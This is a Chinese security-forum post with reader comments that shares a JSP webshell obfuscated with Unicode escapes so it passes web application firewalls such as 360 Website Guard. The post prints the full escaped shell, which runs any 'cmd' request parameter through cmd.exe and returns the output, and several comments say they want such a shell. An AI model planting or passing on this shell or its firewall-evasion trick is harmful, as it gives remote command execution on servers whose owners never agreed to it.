分享个过狗、360网站卫士、JSP Webshell

2019-04-04 11:22:04 103 c1y2m3 12574

之前在一次项目中，发现后台可以编辑网站模板，经过一波怼，发现几乎上传不上

由于JSP 的content-type 类型为 text/html
故利用这个特性采用html中的Unicode 16进制编码成功上传，后查看进程发现存在360网站卫士、腾讯网站防护..

<%@ page import="java.util.*,java.io.*,java.net.*"%>



<%

\u0069\u0066\u0020\u0028\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006d\u0065\u0074\u0065\u0072\u0028\u0022\u0063\u006d\u0064\u0022\u0029\u0020\u0021\u003d\u0020\u006e\u0075\u006c\u006c\u0029\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u006f\u0075\u0074\u002e\u0070\u0072\u0069\u006e\u0074\u006c\u006e\u0028\u0022\u0043\u006f\u006d\u006d\u0061\u006e\u0064\u003a\u0020\u0022\u0020\u002b\u0020\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006d\u0065\u0074\u0065\u0072\u0028\u0022\u0063\u006d\u0064\u0022\u0029\u0020\u002b\u0020\u0022\u005c\u006e\u003c\u0042\u0052\u003e\u0022\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0050\u0072\u006f\u0063\u0065\u0073\u0073\u0020\u0070\u0020\u003d\u0020\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u002e\u0067\u0065\u0074\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0028\u0029\u002e\u0065\u0078\u0065\u0063\u0028\u0022\u0063\u006d\u0064\u002e\u0065\u0078\u0065\u0020\u002f\u0063\u0020\u0022\u0020\u002b\u0020\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006d\u0065\u0074\u0065\u0072\u0028\u0022\u0063\u006d\u0064\u0022\u0029\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u004f\u0075\u0074\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0020\u006f\u0073\u0020\u003d\u0020\u0070\u002e\u0067\u0065\u0074\u004f\u0075\u0074\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0028\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0020\u0069\u006e\u0020\u003d\u0020\u0070\u002e\u0067\u0065\u0074\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0028\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0044\u0061\u0074\u0061\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0020\u0064\u0069\u0073\u0020\u003d\u0020\u006e\u0065\u0077\u0020\u0044\u0061\u0074\u0061\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0028\u0069\u006e\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0064\u0069\u0073\u0072\u0020\u003d\u0020\u0064\u0069\u0073\u002e\u0072\u0065\u0061\u0064\u004c\u0069\u006e\u0065\u0028\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0077\u0068\u0069\u006c\u0065\u0020\u0028\u0020\u0064\u0069\u0073\u0072\u0020\u0021\u003d\u0020\u006e\u0075\u006c\u006c\u0020\u0029\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u006f\u0075\u0074\u002e\u0070\u0072\u0069\u006e\u0074\u006c\u006e\u0028\u0064\u0069\u0073\u0072\u0029\u003b\u0020\u0064\u0069\u0073\u0072\u0020\u003d\u0020\u0064\u0069\u0073\u002e\u0072\u0065\u0061\u0064\u004c\u0069\u006e\u0065\u0028\u0029\u003b\u0020\u007d\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u007d

%>

马并不重要、这里重要提供一种思路

类别渗透测试

关于作者

c1y2m317篇文章115篇回复

评论103次

要评论？请先登录或注册

43楼

c1y2m3
2019-4-5 13:32

godlike：
问下表哥，JSP 的content-type 类型为 text/html 所以可以用unicode来解析, 那是不是意味着也可以用URL全编码，html10编码解析？
回复|@ta
1

这就取决于服务端是如何解析的了以及是否支持

回复|@ta|踩(0)|顶(0)
42楼

godlike
2019-4-5 09:44

这个编辑模板还能编辑到文件的后缀么。。

回复|@ta|踩(0)|顶(0)
41楼

godlike
2019-4-5 09:44

问下表哥，JSP 的content-type 类型为 text/html 所以可以用unicode来解析, 那是不是意味着也可以用URL全编码，html10编码解析？

回复|@ta|踩(0)|顶(0)
40楼

caotj93
2019-4-5 09:32

cmd马，功能少了点

回复|@ta|踩(0)|顶(0)
39楼

ssspider
2019-4-5 04:20

又是一个迅速要凉的代码但思路学xi了

回复|@ta|踩(0)|顶(0)
38楼

cnlnn
2019-4-5 00:54

想起之前收到过一个用UTF-7编码过狗的ASP马

回复|@ta|踩(0)|顶(0)
37楼

yuxianzi
2019-4-4 23:47

先收藏一波。嘻嘻

回复|@ta|踩(0)|顶(0)
36楼

ttors
2019-4-4 23:40

思路学xi了，现在的马很多都是编码过后的

回复|@ta|踩(0)|顶(0)
35楼

wxabiao
2019-4-4 22:23

解密后是cmd马，通过编码绕过防护，不错的方法。

回复|@ta|踩(0)|顶(0)
34楼

Se7en哟
2019-4-4 21:44

这个思路很奇妙啊

回复|@ta|踩(0)|顶(0)
33楼

shiyan
2019-4-4 20:40

网上马儿，感觉就jsp的马，好少。。。。。

回复|@ta|踩(0)|顶(0)
32楼

Packing
2019-4-4 20:25

6666，收藏了

回复|@ta|踩(0)|顶(0)
31楼

dubing123
2019-4-4 20:24

思路,细节,关键是动手的能力!

回复|@ta|踩(0)|顶(0)
30楼

stream
2019-4-4 19:42

高级，还可以这样写。MARK

回复|@ta|踩(0)|顶(0)
29楼

fengx
2019-4-4 19:28

我刚好再找jsp的马，试试看能不能行

回复|@ta|踩(0)|顶(0)
28楼

博士TEL
2019-4-4 19:28

感谢分享思路，马并不重要。谢谢

回复|@ta|踩(0)|顶(0)
27楼

Y0rkLiu
2019-4-4 18:40

感谢分享，这两天正需要jsp的过狗马

回复|@ta|踩(0)|顶(0)
26楼

guhun
2019-4-4 18:32

思路很好，感谢分享，收藏了.

回复|@ta|踩(0)|顶(0)
25楼

宅独青年丶
2019-4-4 17:54

完美。谢谢了

回复|@ta|踩(0)|顶(0)
24楼

fuckhere
2019-4-4 17:49

马并不重要、这里重要提供一种思路赞！

回复|@ta|踩(0)|顶(0)

分享个过狗、360网站卫士、JSP Webshell

关于作者

评论103次

问下表哥，JSP 的content-type 类型为 text/html 所以可以用unicode来解析, 那是不是意味着也可以用URL全编码，html10编码 解析？

这就取决于服务端是如何解析的了以及是否支持

这个编辑模板还能编辑到文件的后缀么。。

问下表哥，JSP 的content-type 类型为 text/html 所以可以用unicode来解析, 那是不是意味着也可以用URL全编码，html10编码 解析？

cmd马，功能少了点

又是一个迅速要凉的代码 但思路学xi了

想起之前收到过一个用UTF-7编码过狗的ASP马

先收藏一波。嘻嘻

思路学xi了，现在的马很多都是编码过后的

解密后是cmd马，通过编码绕过防护，不错的方法。

这个思路很奇妙啊

网上马儿，感觉就jsp的马，好少。。。。。

6666，收藏了

思路,细节,关键是动手的能力!

高级，还可以这样写。MARK

我刚好再找jsp的马，试试看能不能行

感谢分享思路，马并不重要。谢谢

感谢分享，这两天正需要jsp的过狗马

思路很好，感谢分享，收藏了.

完美。谢谢了

马并不重要、这里重要提供一种思路 赞！

热门文章

安全资讯人工智能模型DeepSeek R1 存在安全漏洞

安全资讯法国家具连锁公司遭受网络攻击 900万客户数据“可能被盗”

安全资讯Telegram炸了 被抓了560亿条聊天记录 涉及8.6亿名用户

渗透测试【喜庆2025征文】一个Clickfix钓鱼网址行为分析

安全资讯谷歌推出紧急安全更新修复Chrome零日漏洞

最新回复

精华推荐

渗透测试postgres注入总结

渗透测试window应急响应及实战演练

渗透测试IIS6.0 CVE-2017-7269 漏洞分析和反弹马思路

渗透测试1.6K主机全域沦陷实录：从单点突破到域控接管的终极横向渗透链

渗透测试redis未授权访问个人总结

问下表哥，JSP 的content-type 类型为 text/html 所以可以用unicode来解析, 那是不是意味着也可以用URL全编码，html10编码解析？

问下表哥，JSP 的content-type 类型为 text/html 所以可以用unicode来解析, 那是不是意味着也可以用URL全编码，html10编码解析？

又是一个迅速要凉的代码但思路学xi了

马并不重要、这里重要提供一种思路赞！

安全资讯Telegram炸了被抓了560亿条聊天记录涉及8.6亿名用户